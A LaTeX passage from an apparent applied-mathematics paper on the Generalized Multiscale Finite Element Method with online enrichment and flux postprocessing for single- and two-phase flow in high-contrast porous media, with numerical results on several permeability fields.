\end{eqnarray}
\begin{eqnarray}
\frac{\partial S}{\partial t}+\nabla \cdot(f(S) \boldsymbol{v})=q_{w}, \label{transport}
\end{eqnarray}
where $p$ is the pressure, $\mathbf{v}$ is the Darcy velocity, $S$ is the water saturation, $q,q_w$ are any external forces and $k(x)$ is the heterogeneous permeability coefficient. The total mobility $\lambda(S)$ and the flux function $f(S)$ are respectively given by:
\begin{eqnarray*}
\lambda(S)=\frac{k_{r w}(S)}{\mu_{w}}+\frac{k_{r o}(S)}{u_{e}}, \quad f(S)=\frac{k_{r w}(S) / \mu_{w}}{\lambda(S)}
\end{eqnarray*}
where $k_{r,j},j=w,o$, is the relative permeability of the phase $j$.
\subsection{Solution algorithm}
In Table \ref{two-phase algorithm}, we display the algorithm that is used to solve the two-phase model in Eqs. \eqref{elliptic} and \eqref{transport}. In order to solve for the unknown saturation $S$, we first split the time interval into a set of specified subintervals. $S$ is initialized by $S_0$ and then solved by a series of iterations that are included in Table \ref{two-phase algorithm}. More specifically, we use $S_{n-1}$ in \eqref{elliptic} to obtain $p_n$ and $v_n$. Then we solve \eqref{transport} using the new flux $\mathbf{v}_n$ to obtain $S_n$.\\
\begin{table}[!htbp]
\begin{tabular}{c l}
\hline
&Two-phase algorithm \\
\hline
\textbf{Input} & $S_{n-1}$ obtained in previous time step\\
\textbf{Output}& $S_{n}$ \\
&1. Solving \ref{elliptic} to get $p_n$ and $\mathbf{v}_n$\\
&2. Using $\boldsymbol{v}_n$ and $S_{n-1}$ in \ref{transport} to get $S_{n}$ \\
\hline
\caption{Two-phase algorithm}
\label{two-phase algorithm}
\end{tabular}
\end{table}
To solve \eqref{transport}, we integrate over the time interval $[t_{n-1},t_n]$ and a control volume $C_z\subset \Omega$ to obtain
\begin{eqnarray}
\text{meas}(C_z)(S_{z,n}-S_{z,n-1})+\Delta t\int_{\partial_{C_z}}\mathbf{v}\cdot \mathbf{n} f(S_{z,n-1}) ~ dl=\Delta t\int_{C_z} q_w ~ dx,
\end{eqnarray}
where we have neglected the error terms, and we use
\begin{eqnarray}
S_{z,n}\approx\dfrac{1}{meas(C_z)}\int_{C_z}S(x,t_n) ~ dx.
\end{eqnarray}
We use $meas(A)=\int_{\Omega} 1_{A}d x$ with $1_A=1$ when $x\in A$ while 0 elsewhere.
To evaluate the term $\int_{\partial_{C_z}} \mathbf{v} \cdot \mathbf{n} f(S_{z,n-1}) \, dl$, we use an upwinding scheme. A review of upwinding on a rectangular mesh can be in \cite{thomas2013numerical}, for example. It is imperative that the numerical approximation of $\mathbf{v}$ satisfies the following local conservation property. In particular, it is desirable to have
\begin{eqnarray}
\int_{\partial{C_z}}\mathbf{v}\cdot \mathbf{n} ~d l=\int_{C_z} q ~d x.
\end{eqnarray}
There are two main ways to obtain the desired quantities $(\mathbf{v},p)$. The first one is to simultaneously solve the first order system \eqref{elliptic}. For example, one may apply the mixed finite element formulation \cite{chan2016adaptive}. In this paper, we consider the alternative of transforming \eqref{elliptic} into a second order equation that governs the pressure $p$. The approximation of $\mathbf{v}$ is calculated using the relation $\mathbf{v}=-\lambda(S)k(x)\nabla p$, and a postprocessing procedure follows for local conservation. Since it is computationally expensive to apply the postprocessing procedure on the fine-scale solution, we instead use the Generalized Multiscale Finite Element Method (GMsFEM), which will be introduced in the next section.
\section{Generalized multiscale finite element method}
\subsection{Preliminaries}
We fix our attention to the following second order elliptic problem
\begin{eqnarray}
\begin{aligned}
-\operatorname{div}(\lambda k(x) \nabla p)&=q \quad \text { in } \Omega \\
p&=p_{D} \quad \text { on } \Gamma_{D} \\
-\lambda k \nabla p \cdot \mathbf{n}&=g_{N} \quad \text { on } \Gamma_{N}\label{model}
\end{aligned}
\end{eqnarray}
where $k(x)$ is a highly heterogeneous field with high contrast. In practice, we assume that there is a positive constant $k_{min}$ such that $k(x)\geq k_{min}\geq0$, while $k(x)$ can vary widely (i.e.,
$k_{max}/k_{min}$ is very large, for example $10^5$). Four examples of $k(x)$ that are considered in this paper are offered in Figure \ref{medium}. All permeability fields in the figure are plotted on the log scale. Additionally, $\lambda$ is a known mobility coefficient, $q$ denotes any external forcing, and $p$ is an unknown pressure field satisfying Dirichlet and Neumann boundary conditions given by $p_D$ and $g_N$, respectively. Here $\Omega$ is a convex polygonal and two dimensional domain with boundary $\partial{\Omega}=\Gamma_{D}\cup \Gamma_{N}$.
We consider a function in $H^1(\Omega)$ whose trace on $\Gamma_{D}$ coincides with the given value $p_D$; we
denote this function also by $p_D$. The variational formulation of \eqref{model} is stated as follows. We find $p\in H^1({\Omega})$ with $(p-p_D)\in H^1_{\Omega}=\{w\in H^1_0(\Omega):w|_{\Gamma_{D}}=0 \}$ such that
\begin{eqnarray}
a(p,v)=F(v)-\left\langle g_N,v\right\rangle_{\Gamma_{N}} ~~\text{for all } ~~v\in H^1_D \label{varational}
\end{eqnarray}
where
\begin{eqnarray*}
\begin{aligned}
a(p, v)&=\int_{\Omega} \lambda k(x) \nabla p(x) \nabla v(x)~ d x,\\
F(v)&=\int_{\Omega}q(x)v(x) ~d x, ~~\text{and}\\
\left\langle g_{N}, v\right\rangle_{\Gamma_{N}}&=\int_{\Gamma_{N}} g_{N}(x) v(x)~ d l.
\end{aligned}
\end{eqnarray*}
\begin{figure}[!htbp]
\centering
\subfigure[$\kappa_1(x)$]
{ \includegraphics[width=0.45\textwidth]{graphs/s/k1.png}}
\subfigure[$\kappa_2(x)$]
{ \includegraphics[width=0.45\textwidth]{graphs/s/k2.png}}
\subfigure[$\kappa_3(x)$]
{ \includegraphics[width=0.45\textwidth]{graphs/s/k3.png}}
\subfigure[$\kappa_4(x)$]
{ \includegraphics[width=0.45\textwidth]{graphs/s/k4.png}}
\caption{Examples of heterogeneous permeability fields; all plots are on the log scale}\label{medium}
\end{figure}
\begin{figure}[ht]
\centering
{\includegraphics[width=3in]{graphs/coarse_neighborhood.png}}
\caption{Discretization of $\Omega$ into $\mathcal{T}_h=\cup \tau$. Here $\omega_z=\cup_{i=1}^4\tau_i$ is the supp($\chi_z$).}\label{figure:coarse}
\end{figure}
In order to implement a finite element approximation of \eqref{varational}, we
let $\mathcal{T}^{h}$ denote a partition of the domain $\Omega$ into fine elements. Here, $h>0$ is used to denote the fine-grid mesh size.
The coarse partition, $\mathcal{T}^{H}$ of the domain $\Omega$, is formed such that each element in $\mathcal{T}^{H}$ is a connected union of fine-grid blocks. More precisely, $\forall K_{j} \in \mathcal{T}^{H}$, $ K_{j}=\bigcup_{F\in I_{j} }F$ for some $I_{j}\subset \mathcal{T}^{h}$. The quantity $H>0$ is the coarse mesh size. In this paper we consider the case of rectangular coarse elements, yet the methodology can be used with general coarse elements. An illustration of the mesh notations is shown in the Figure \ref{figure:coarse} (\textbf{the notation in the illustration does not match the notation used below. For example $\omega_z$ is used in the figure for a neighborhood, whereas $D_i$ is used below for the neighborhood}). We denote the interior nodes of $\mathcal{T}^{H}$ by $x_i, ~~i=1,\cdots,N_{\text{in}}$,
where $N_\text{in}$ is the number of interior nodes. The coarse elements
of $\mathcal{T}^{H}$ are denoted by $K_j, ~~j=1,2,\cdots,N_e$, where $N_e$ is the number of coarse elements. We define the coarse neighborhood of the nodes $x_i$ by $D_i:=\cup\{K_j\in T^{H}:x_i\in \overline{K_j}\}$.
\subsection{GMsFEM for pressure equation}
In this paper, we will apply the GMsFEM to solve nonlinear parabolic equations. The
method is motivated by the finite element framework. First, a variational formulation is defined. Then we construct some multiscale basis functions.
Once the fine grids are given, we can compute the fine-grid solution. Let $\gamma_1,\cdots,\gamma_n$ be the standard finite element basis, and define $V_f=\text{span}\{\gamma_1,\cdots,\gamma_n\}$ to be the
fine space.
We obtained the fine solution denoted by $p_h$ by solving
\begin{eqnarray}
a(p_h,v_h)=F(v_h)-\left\langle g_N,v_h\right\rangle_{\Gamma_{N}} \text{for all }v_h\in V_f \label{fine}
\end{eqnarray}
The construction of multiscale basis functions follows two general steps. First, we construct snapshot basis functions in order to build a set of possible modes of the solutions. In the second step, we construct multiscale basis functions with a suitable spectral problem defined in the snapshot space. We take the first few dominated eigenfunctions as basis functions. Using the multiscale basis functions, we obtain a reduced model.
More specifically, once the coarse and fine grids are given, one may construct the multiscale basis functions to approximate the solution
of (\ref{varational}). To obtain the multiscale basis functions, we first define the snapshot space. For each coarse neighborhood $ D_{i}$, define $J_h( D_{i})$ as the set of the fine nodes of $T^{h}$ lying on $\partial D_{i}$ and denote
the its cardinality by $L_i \in \mathbb{N}^{+}$. For each fine-grid node $x_j \in J_h( D_{i})$, we define a fine-grid function $\delta_{j}^{h}$ on $J_h( D_{i})$ as $\delta_{j}^{h}(x_k)=\delta_{j,k}$. Here
$\delta_{j,k}=1$ if $j=k$ and $\delta_{j,k}=0$ if $j\neq k$. For each $j=1,\cdots, L_i$, we define the snapshot basis functions $\psi_{j}^{(i)}$ ($j=1,\cdots,L_i$) as the solution of the following system\\
\begin{eqnarray}
\begin{aligned}
-\nabla\cdot\left(\kappa \nabla \psi_{j}^{(i)}\right) &=0 \quad \text { in } D_{i} \\
\psi_{j}^{(i)} &=\delta_{j}^{h} \quad \text { on } \partial D_{i}.\label{snap_basis}
\end{aligned}
\end{eqnarray}
The local snapshot space $V_{\text { snap }}^{(i)}$ corresponding to the coarse neighborhood $ D_{i}$ is defined as follows
$V_{snap}^{(i)}:=$ \text{span}$\{\psi_{j}^{(i)}:j=1,\cdots,L_{i}\}$ and the snapshot space reads $V_{\text {snap}} :=\bigoplus_{i=1}^{N_{\text {in}}} V_{\text {snap}}^{(i)}$, where $N_{\text {in}}$ is the total number of coarse neighborhood.
In the second step, a dimension reduction is performed on $V_{\text {snap}}$.
For each $i=1,\cdots, N_{\text {in}}$, we solve the following spectral problem:
\begin{eqnarray}
\int_{D_{i}} \kappa \nabla \phi_{j}^{(i)} \cdot \nabla v=\lambda_{j}^{(i)} \int_{D_{i}} \hat{\kappa} \phi_{j}^{(i)} v \quad \forall v \in V_{\text {snap}}^{(i)}, \quad j=1, \ldots, L_{i}\label{eigen}
\end{eqnarray}
where $\hat{\kappa} :=\kappa \sum_{i=1}^{N_{i n}} H^{2}\left|\nabla \chi_{i}\right|^{2}$ and $\{\chi_{i}\}_{i=1}^{N_{i n}}$ is a set of partition of unity that solves the following system:
\begin{eqnarray*}
\begin{array}
{rlrl}{-\nabla \cdot\left(\kappa \nabla \chi_{i}\right)} & {=0} & {} & {\text { in } K \subset D_{i}} \\ {\chi_{i}} & {=p_{i}} & {} & {\text { on each } \partial K \text { with } K \subset D_{i}} \\ {\chi_{i}} & {=0} & {} & {\text { on } \partial D_{i}}
\end{array}
\end{eqnarray*}
where $p_i$ is some polynomial functions and we can choose linear functions for simplicity.
Assume that the eigenvalues obtained from (\ref{eigen}) are arranged in ascending order and we may use the first $1<l_i \leq L_{i}$ (with $l_{i} \in
\mathbb{N}^{+}$) eigenfunctions (related to the smallest $l_i$ eigenvalues) to
form the local multiscale space $V_{\text{off}}^{(i)}:=$ snap$\{\chi_{i}\phi_{j}^{(i)}:j=1,\cdots,L_{i}\}$. The mulitiscale space $V_{\text{off}}^{(i)}$ is the direct sum of the local mulitiscale spaces, namely
$V_{\text {off}} :=\bigoplus_{i=1}^{N_{\text {in}}} V_{\text {off}}^{(i)}$.
Once the multiscale space $V_{\text {off}}$ is constructed, we can find the
GMsFEM solution $p_H$ by solving the following equation
\begin{eqnarray}
a(p_H,v_H)=F(v_H)-(g_N,v_H)_{\Gamma_{N}} \text{for all }v_H\in V_{\text {off}} \label{coarse}
\end{eqnarray}
In the numerical examples, we use $L_z$ to denote $L_i$ for $1\leq i\leq N_{\text {in}}$ since we use same $L_i$ for each $i$.
\subsection{Online enrichment}
We will present the constructions of online basis functions \cite{chung2015residual} in this section. \\
After obtaining the multiscale space $V_{\text {off}}$, one may add some online basis functions based on local residuals.\\
Let $p_H \in V_{\text {off}}$ be the solution obtained in (\ref{coarse}). Given a coarse neighborhood $D_i$, we define
$V_i:=H_0^1(D_i)\cap V_{\text {snap}}$ equipped with the norm
$\|v\|_{V_i}^{2}:=\int_{D_i}\kappa |\nabla {v}|^2$. We also define the local residual operator $R_i: V_i\rightarrow \mathbb{R}$ by
\begin{eqnarray}
\mathcal{R}_{i}\left(v ; p_H\right) :=a(p_H,v)-F(v)+(g_N,v)_{\Gamma_{N}} \label{loc res}
\end{eqnarray}
The norm of operator $R_i$, denoted by $\|R_i\|_{V_{i}^{*}}$, gives a measure of the quantity of residual.
Suppose one needs to add one new online basis $\phi$ into the space $V_i$. The analysis in \cite{chung2015residual} suggests that the required online basis $\phi\in V_i$ is the solution to the following equation
\begin{eqnarray}
\mathcal{A}(\phi, v)=\mathcal{R}_{i}\left(v ; p_H^{\tau}\right) \quad \forall v \in V_{i}.\label{online}
\end{eqnarray}
We refer to $\tau \in \mathbb{N}$ as the level of the enrichment
and denote the solution of (\ref{coarse}) by $p_H^{\tau}$.
Remark that $V_{\text {off}}^{0}:=V_{\text{off}}$. Let $\mathcal{I} \subset\left\{1,2, \ldots, N_{i n}\right\}$ be the index set over some non-lapping coarse neighborhoods. For each $i\in \mathcal{I}$, we obtain a online basis $\phi_i\in V_i$ by solving (\ref{online}) and define
$V_{\text {off}}^{\tau+1}=V_{\text {off}}^{\tau} \oplus \operatorname{span}\left\{\phi_{i} : i \in \mathcal{I}\right\}$.
After that, solve (\ref{coarse}) in $V_{\text {off}}^{\tau+1}$.
\section{Postprocessing GMsFEM solution}\label{postprocess}
In order to obtain the GMsFEM with local conservation property, we apply postprocessing technique after obtain $p_H$. The technique was introduced in \cite{bush2014application}. In this section, a review is presented.\\
This approach is composed of two main steps. The first step is solving an auxiliary boundary value problem element by element. The next step is called downscaling procedure, which is solving similar boundary value problem in each control volumn using the auxiliary solutions obtained in first step. Derivation of local conservation of mass is presented in \ref{conservation}.
\subsection{Constructing a locally conservative flux}
In particular, we obtain a auxiliary solution denoted by $\tilde{p}_{\tau}$,with
\begin{eqnarray}
\left\{\begin{array}{ll}
-\nabla \cdot\left(\lambda \kappa(x) \nabla \tilde{p}_{\tau}\right)=q & \text { in } \tau \\
-\lambda \kappa(x) \nabla \tilde{p}_{\tau} \cdot n=\tilde{g}_{\tau} & \text { on } \partial \tau
\end{array}\right.\label{auxiliary}
\end{eqnarray}
\begin{figure}[!htbp]
\centering
\subfigure
{ \includegraphics[width=0.45\textwidth]{graphs/control_volumn.png}}
\subfigure
{ \includegraphics[width=0.3\textwidth]{graphs/element.png}}
\caption{Left: $C_z$ is the control volumn associated with the vertex z,where $\partial C_z=E_{z\eta}\cup E_{Z\omega}\cup E_{z\xi}\cup E_{z\gamma}$.
Right: a finite element $\tau$ is divided into four quadrilaterals $t_z,t_{\omega},t_x,t_{\gamma}$.}\label{control volumn}
\end{figure}
Here, we designate $\partial{\tau}=\cup_{\xi\in v(\tau)} E_{\xi}^{\tau}$, where $E_{\xi}^{\tau}=\partial \tau \cap \partial t_{\xi}$ (i.e. half of each element edge containing the vertex $\xi$.) and $v(\tau)$ is the collection of four vertexes of $\tau$.
Furthermore, we set $\tilde{g}_{\tau}$ as piecewise function on $\partial\tau$ such that
\begin{eqnarray*}
\int_{E_{\xi}^{\tau}} \tilde{g}_{\tau} \mathrm{d} l=F_{\xi, 1}-Q_{\xi, 1}, \quad \text { for } \xi \in v(\tau)
\end{eqnarray*}
where
\begin{eqnarray}
Q_{\xi, 1}=\int_{\tau} \lambda \kappa \nabla p_{H} \cdot \nabla \Phi_{\xi, 1} \mathrm{d} x \quad \text { and } \quad F_{\xi, 1}=\int_{\tau} q \Phi_{\xi, 1} \mathrm{d} x \label{Q and F}
\end{eqnarray}
The existence and uniqueness of the above problem is stated in \cite{bush2014application}.
\ref{auxiliary} implies
\begin{equation*}
-\int_{\partial \tau} \lambda \kappa \nabla \tilde{p}_{\tau} \cdot \boldsymbol{n} \mathrm{d} l=-\int_{\partial \tau} \lambda \kappa \nabla p \cdot \boldsymbol{n} \mathrm{d} l,
\end{equation*}
which shows that the solution of \ref{auxiliary} recovers the flux of p (i.e. the true pressure solution) averaged over $\partial \tau$, a local conservation property in each element. We use \ref{auxiliary} as a governing principle to derive the processing technique for calculating a locally conservative flux in each control volumn from $p_H$.
The elemental calculation is based on discretization of $\tau$ into quadrilaterals $t_{\xi}$,i.e., $\tau=\cup_{\xi\in v(\tau)}t_{\xi}$, each of which yields $t_{\xi}=C_{\xi}\cap\tau$,see the right plot of Figure \ref{control volumn}. We set the local solution space as $\mathcal{V}(\tau)=\text{span}\{\Phi_{\xi,1}\}_{\xi\in v(\tau)}$, where $\Phi_{\xi,1}$ is the multiscale basis function corresponding to the vertex $\xi$ . The numerical solution associated with
\ref{auxiliary} is to find $\tilde{p}_{\tau,h}\in \mathcal{V}(\tau)$ satisfying
\begin{equation}
-\int_{\partial t_{\zeta}} \lambda \kappa \nabla \tilde{p}_{\tau, h} \cdot \boldsymbol{n} \mathrm{d} l=\int_{t_{\zeta}} q \mathrm{d} x, \quad \text { for all } \zeta \in v(\tau)\label{part}
\end{equation}
The following four equations result from \ref{part}:
\begin{eqnarray}
\begin{aligned}
&q_{z \omega}^{\tau}+q_{z\gamma}^{\tau}=Q_{z, 1}-F_{z, 1}+\int_{t_{z}} q \mathrm{d} x\\
&q_{z\gamma}^{\tau}+q_{x \gamma}^{\tau}=Q_{\gamma, 1}-F_{\gamma, 1}+\int_{t_{\gamma}} q \mathrm{d} x\\
&q_{x \omega}^{\tau}+q_{z \omega}^{\tau}=Q_{\omega, 1}-F_{\omega, 1}+\int_{t_{\omega}} q \mathrm{d} x\\
&q_{x \gamma}^{\tau}+q_{x \omega}^{\tau}=Q_{x, 1}-F_{x, 1}+\int_{t_{x}} q \mathrm{d} x \label{system}
\end{aligned}
\end{eqnarray}
where
\begin{eqnarray}
\begin{aligned}
q_{x\omega}^{\tau} &=-\int_{E_{x\omega}^{\tau}} \lambda \kappa \nabla \tilde{p}_{\tau, h} \cdot \boldsymbol{n} \mathrm{d} l, & & q_{z \gamma}^{\tau}=-\int_{E_{z \gamma}^{\tau}} \lambda \kappa \nabla \tilde{p}_{\tau,h} \cdot \boldsymbol{n} \mathrm{d} l \\
q_{z\omega}^{\tau} &=-\int_{E_{z\omega}^{\tau}} \lambda \kappa \nabla \tilde{p}_{\tau, h} \cdot \boldsymbol{n} \mathrm{d} l, & & q_{x \gamma}^{\tau}=-\int_{E_{x \gamma}^{\tau}} \lambda \kappa \nabla \tilde{p}_{\tau, h} \cdot \boldsymbol{n} \mathrm{d} l
\end{aligned}
\end{eqnarray}
and $E_{\xi\eta}^{\tau}=\partial t_{\xi}\cap \partial t_{\eta}$, for $\xi,\eta=\omega,x,\gamma,z$ and $\xi\neq\eta$.
Since we actually use linear combination of basis to solve solution, in particular,
$\tilde{p}_{\tau,h}=\Sigma_{\xi\in v(\tau)} u_{\xi}\Phi_{xi}$ with unknown coefficients $u_{\xi}$,
\ref{system} can be written in the form of
$\tilde{A}\tilde{u}=\tilde{f}$ where
\begin{equation*}
\tilde{\boldsymbol{A}}_{\zeta \eta}=-\int_{E_{\mathrm{fp}}} \lambda \kappa \nabla \Phi_{\eta,1}+\boldsymbol{n} \mathrm{d} l \quad \text { and } \quad \tilde{\mathrm{f}}_{\zeta}=\int_{t_{\mathrm{\xi}}} q \mathrm{d} x-\int_{E_{\xi}^{\tau}} \tilde{g}_{\tau} \mathrm{d} l
\end{equation*}
One should note that when $\tau$ is adjacent to $\Gamma_N$, $g_N$ should be taken in account in computing $\tilde{g}_{\tau}$.\\
Since the system actually has smaller dimension than 4, we may add a constant to one entry in $\tilde{A}$ to remove the singularity. The fact that $u$ is not unique is irrelevant since the desired solution is flux as governed by $q_{\xi\eta}^{\tau}$ which is unique.\\
\ref{system} implies that $\tilde{v}_h$ derived from $\tilde{p}_h$ satisfy the desired local conservation property.
\subsection{Downscale procedure}
After the postprocessing in the section 4.1, we have
\begin{equation*}
\int_{\partial C_{\tau}} \tilde{v}_{h} \cdot \boldsymbol{n} \mathrm{d} l=\int_{\mathcal{C}_{z}} q \mathrm{d} \boldsymbol{x}, \quad \text { for all } C_{z}
\end{equation*}
which can be thought of a statement of compatibility condition in $C_z$.
We can proceed with formulating a boundary problem as follows,
\begin{eqnarray}
\left\{\begin{array}{l}
-\nabla \cdot\left(\lambda \kappa(\boldsymbol{x}) \nabla \tilde{p}_{G}\right)=q \quad \text { in } C_{z} \\
-\lambda \kappa(\boldsymbol{x}) \nabla \widetilde{p}_{G} \cdot \boldsymbol{n}=\tilde{v}_{h} \cdot \boldsymbol{n} \text { on } \partial C_{z}
\end{array}\right.\label{downscale}
\end{eqnarray}
Here $\tilde{v}_{h}=\Sigma_{\tau,\tau\cap C_z\neq \emptyset}-\lambda \kappa(x)\nabla\tilde{p}_{\tau,h}$ that is evaluated pointwise on segments of $\partial C_z$ that belongs to $\tau$.\\
For example, for control volume $C_z$ corresponding to vertex $z$, we obtain $\tilde{v}_{h}$ as follows. One may refer to the left in figure \ref{control volumn}.
\begin{eqnarray}
\begin{aligned}
\int_{\partial C_{z}} \tilde{v}_{h} \cdot n d l &=\int_{E_{z\eta}} \tilde{v}_{h} \cdot n d l+\int_{E_{z\omega}} \tilde{v}_{h} \cdot n d l+\int_{E_{z\xi}} \tilde{v}_{h} \cdot n d l+\int_{E_{z\gamma}} \tilde{v}_{h} \cdot n d l \\
&=\left(q_{z\eta}^{\tau_{1}}+q_{z\eta}^{\tau_{2}}\right)+\left(q_{z \omega}^{\tau_{1}}+q_{z\omega}^{\tau_{3}}\right)+\left(q_{z\xi}^{\tau_{3}}+q_{z\xi}^{\tau_{4}}\right)+\left(q_{z \gamma}^{\tau_{4}}+q_{z \gamma}^{\tau_{2}}\right)\\
&=\left(q_{z\eta}^{\tau_{1}}+q_{z\omega}^{\tau_{1}}\right)+\left(q_{z\eta}^{\tau_{2}}+q_{z\gamma}^{\tau_{2}}\right)+\left(q_{z\omega}^{\tau_{3}}+q_{z_{z\xi}}^{\tau_{3}}\right)+\left(q_{z\xi}^{\tau_{4}}+q_{z\gamma}^{\tau_{4}}\right)\\
&=\sum_{j=1}^{4}\left(Q_{z, 1, j}-F_{z, 1, j}\right)+\sum_{j=1}^{4} \int_{t_{z, j}} q \mathrm{d} \mathbf{x}\\
&=\int_{ C_{z}} q \mathrm{d} \mathbf{x}. \label{conservation}
\end{aligned}
\end{eqnarray}
where $Q_{z, 1, j},F_{z, 1, j}$ are integrals (refer \ref{Q and F}) in domain $\tau_j$ for corresponding $j$. $\sum_{j=1}^{4}\left(Q_{z, 1, j}-F_{z, 1, j}\right)=0$ is derived by \ref{coarse}.\\
This calculation actually proves the local conservation of $\tilde{v}_{h}$. So the satisfies compatibility condition of \ref{downscale} guarantees the existence of the corresponding solution. Similarly, since our interest only lies in $-\lambda \kappa(x)\nabla\tilde{p}_{C_z}$ in \ref{downscale}, the nonuniqueness of the solution is of no concern.\\
\section{Numerical results}
In this section, we consider four kinds of permeability coefficients which are represented in figure \ref{medium}. $\kappa_1$ and $\kappa_4$ are extracted from the tenth SPE comparative solution project (SPE10), which is commonly used as benchmark permeability field to assess upscaling and multiscale methods. The most distinguishable characteristic of the model is that some layers are highly heterogeneous and contains long channels. Here, $\kappa_1$ is the last layer of the SPE10 dataset while $\kappa_4$ comes from the 36-th layer. It is evident that $\kappa_1$ represents high heterogeneity and both two contains some visible channels. In terms of $\kappa_2$, it is deterministic, high-contrast coefficient with abrupt transitions between regions of low and high permeability. For $\kappa_3$, it comes from fractured porous media, which is characterized by complex fracture distribution and high contrast. Consequently, four examples of permeability exhibit high-contrast features, which can make solving (\ref{model}) a demanding task.
Since the construction of multiscale space is based on the single-phase flow, i.e. choosing $\lambda(S)=1$ in (\ref{model}), it is reasonable to consider the efficiency of our approximation space within the context of single-phase and further estimate the effect on the two-phase model. Both the two models are solved in the domain $\Omega=[0,1]\times[0,1]$.
\subsection{Single-phase flow}
In the single-phase model, we solve the pressure equation (\ref{model}) with $\lambda=1$ and postprocess the velocity field with the technique introduced in section \ref{postprocess}. For boundary condition, we set Dirichlet boundary condition $p_{D}=1$ on the left edge and $p_{D}=0$ on the right edge of the domain. Besides, we set $g_{N}=0$ on $\Gamma_{N}$, i.e. zero Neumann boundary condition for bottom and top edge. We assume there is no external force so we take $q=0$. The size of the permeability coefficient is $100*100$ and $200*200$ for $\kappa_2$ and $\kappa_3$ accordingly. To estimate our method GMsFEM, we compare four method, the standard finite element method and GMsFEM with different combination of multiscale basis functions. For GMsFEM, we set the coarse mesh size to be $10*10$. In other words, there are $20*20$ coarse elements in the whole domain. As is shown in \ref{tab:v_error}, there is significant error decay in both cases, where online enrichment contributes much more compared to the offline enrichment. As for the notation, we use $L_z=a+b$ to denote the case where a offline basis followed by b online basis are used in each local neighborhood. In particular, with $\kappa_2$, we can see a sharp decrease from the initial case with big error to a relatively low error when we add the both offline and online basis to the case $2+1$, which is even slightly lower than case $5+0$. In other words, the information contained in online basis functions results in bigger help than that in offline basis. This is due to the global construction of online basis functions while the offline space is constructed locally. As to the other case with $\kappa_3$, we can see the decay is less pronounced, however, there is still evident improvement in the accuracy. It is similar here that we can use online basis functions to obtain satisfying results with smaller dimension of multiscale space.
To better present the approximation of the velocity field, which is actually used in the further two-phase flow, we plot figure \ref{v2} and \ref{v3} for $\kappa_2$ and $\kappa_3$. In both cases, we show the horizontal and vertical components of velocity. Since the velocity is highly related with the permeability, we exhibit the velocity field under some region with big contrast in permeabilty coefficients, which are also shown as background. We can observe significant dismatch between the initial case and reference while in the case $L_z=2+1$ and $5+0$, the accuracy improvement is apparent especially in the selected region, where the permeability changes rapidly. Specifically, in \ref{v2}, there is a few flows with opposite direction for $L_z=1+0$ compared with the reference, while the difference is less noticeable in the latter two cases.
\begin{figure}[!htbp]
\includegraphics[width=5in]{graphs/v_k2.png}\caption{$\kappa_2$. Velocity computed using four methods. The first two columns (horizontal the first and vertical the second ) exhibits velocity profile on the whole domain with the reference on the first row and last three corresponding to $L_z=1$, $L_z=5$ and $L_z=2+1$ respectively. The last column shows the velocity with permeability in the selected region.}
\label{v2}
\end{figure}
\begin{figure}[!htbp]
\includegraphics[width=5in]{graphs/v_k3.png}\caption{$\kappa_3$. Velocity computed using four methods. The first two columns (horizontal the first and vertical the second ) exhibits velocity profile on the whole domain with the reference on the first row and last three corresponding to $L_z=1$, $L_z=5$ and $L_z=2+1$ respectively. The last column shows the velocity with permeability in the selected region.}
\label{v3}
\end{figure}
\begin{table}[]
\centering
\begin{tabular}{c|c|c}
\hline\hline
& $\kappa_2$ & $\kappa_3$ \\
\hline
$L_z$=1+0 & 1.30 & 0.21\\
$L_z$=5+0 & 0.16 & 0.09\\
$L_z$=2+1 & 0.14 & 0.08\\
\end{tabular}
\caption{Relative error for the velocity field. The $L^2$ error of the velocity is computed for different choices of GMsFEM compared with reference solution obtained in standard finite element method.}
\label{tab:v_error}
\end{table}
\subsection{Two-phase flow}
In solving \ref{transport}, we use the quadratic relative permeability curves $\kappa_{rw}=S^2$ and $\kappa_{ro}=(1-S)^2$, along with $\mu_w=1$ and $\mu_o=5$ for the water viscosities. The domain $\Omega=[0,1]\times[0,1]$. For the initial condition, the value at the left edge is set as $S = 1$ and we assume $S(x, 0) = 0$ elsewhere. In practical, we construct the multiscale basis functions within the context of single-phase flow model and apply the resulted approximation space to the interested two-phase problem without updating basis function. In other words, we can precompute the bases as preparation before the simulation, which is efficient compared to the case when we need to repeat the computation for different cases.
For better visual comparison, we present the saturation for three different time levels in figure \ref{k1},\ref{k2},\ref{k3} and \ref{k4}. From figure \ref{k2} and figure \ref{k3}, significant difference from reference saturation can observed when $L_z=1$ while $L_z=2+1$ are relatively indistinguishable from reference. For case $\kappa_1$ and $\kappa_4$, the improvements are less significant yet pronounced since there are few noticeable differences between last row and reference row.
In other words, online basis functions efficiently improves accuracy compared with offline case. In figure \ref{k4}, $L_z=2+1$ is a better approximation of reference even than $L_z=8+0$. As we can verify it from figure \ref{error}, there are sharp decreases by enriching multiscale space from intial state especially with $\kappa_2$ and $\kappa_3$ compared to the other two cases, which is consistent with the previous dynamics of saturation.
Furthermore, the relative errors are improved by increasing the number of $L_z$ up to a certain threshold, and then the reduction is minimal as more functions are added. In particular, in figure (d), when we double the number of offline basis functions from the very beginning, i.e. single in each local neighborhood, the error reduction is evident however improvement is indistinguishable from $2+0$ to $8+0$, which means very limited reduction can be expected by further increasing offline basis functions. At the same time, adding a few online basis functions will notably increase the accuracy since the error in $L_z=2+2$ is even lower than the case $L_z=8$, which shows the power of incorporating global information inherited in the online basis functions. For $\kappa_1$ and $\kappa_3$, the reduction resulted by enrichment is relatively steady while in $\kappa_2$, it is easier to reach a threshold. This is due to higher heterogeneity in $\kappa_1$ compared with $\kappa_2$. However, all the above four cases combined with the single-phase case share the same conclusion that online enrichment offer us better accuracy with relatively lower cost. Therefore, it is efficient to compute residual-driven online basis functions for the sake of increasing accuracy. \\
\begin{figure}[!htbp]
\includegraphics[width=5in]{graphs/s/s_k1.png}
\caption{$\kappa_1$. The reference saturation is shown on the top row at three different time levels. The second and third rows are $L_2=1$, $L_z=5$ respectively.The last row is using 2 offline basis and enriched by one online basis for each coarse neighborhood, which is denoted by $L_z=2+1$.}
\label{k1}
\end{figure}
\begin{figure}[!htbp]
\includegraphics[width=5in]{graphs/s/s_k2.png}\caption{$\kappa_2$. The reference saturation is shown on the top row at three different time levels. The second through fourth rows are $L_z=1$, $L_z=5$ and $L_z=2+1$ respectively.}
\label{k2}
\end{figure}
\begin{figure}[!htbp]
\includegraphics[width=5in]{graphs/s/s_k3.png}\caption{$\kappa_3$. The reference saturation is shown on the top row at three different time levels. The second through fourth rows are $L_z=1$, $L_z=5$ and $L_z=2+1$ respectively.}
\label{k3}
\end{figure}
